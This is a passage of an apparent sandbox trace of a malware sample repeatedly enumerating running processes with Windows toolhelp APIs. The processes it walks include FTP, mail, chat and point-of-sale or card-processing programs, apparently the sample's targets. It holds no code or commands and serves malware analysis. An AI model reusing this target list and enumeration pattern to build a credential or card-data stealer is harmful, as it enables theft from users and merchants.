th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0207.118] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0207.120] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0207.123] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0207.125] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0207.127] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0207.130] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0207.132] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0207.135] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0207.137] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0207.149] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0207.151] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0207.154] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0207.156] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0207.160] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0207.162] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0207.165] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0207.168] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0207.171] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0207.173] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0207.175] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0207.177] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0207.179] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0207.182] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0207.184] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0207.186] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0207.188] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0207.190] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0207.192] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0207.194] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0207.196] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0207.198] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0207.201] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0207.203] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0207.204] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0207.206] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0207.208] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0207.211] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="large.exe")) returned 1 [0207.214] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="analysis_democrat.exe")) returned 1 [0207.216] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0207.217] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0207.219] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.221] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0207.223] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0207.225] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0207.227] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0207.229] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 1 [0207.270] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="8B87.exe")) returned 0 [0207.272] CloseHandle (hObject=0x11c8) returned 1 [0207.272] Sleep (dwMilliseconds=0x64) [0207.273] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c8 [0207.286] Process32First (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0207.288] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0207.290] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0207.291] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0207.294] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0207.296] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0207.298] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0207.300] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0207.302] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0207.304] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.306] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.308] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0207.310] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.312] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.314] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.317] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.319] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.321] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.322] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.324] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0207.326] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0207.328] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0207.330] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.334] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0207.336] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0207.338] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0207.340] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0207.342] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0207.344] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0207.346] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0207.348] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0207.350] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0207.352] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0207.354] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0207.356] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, 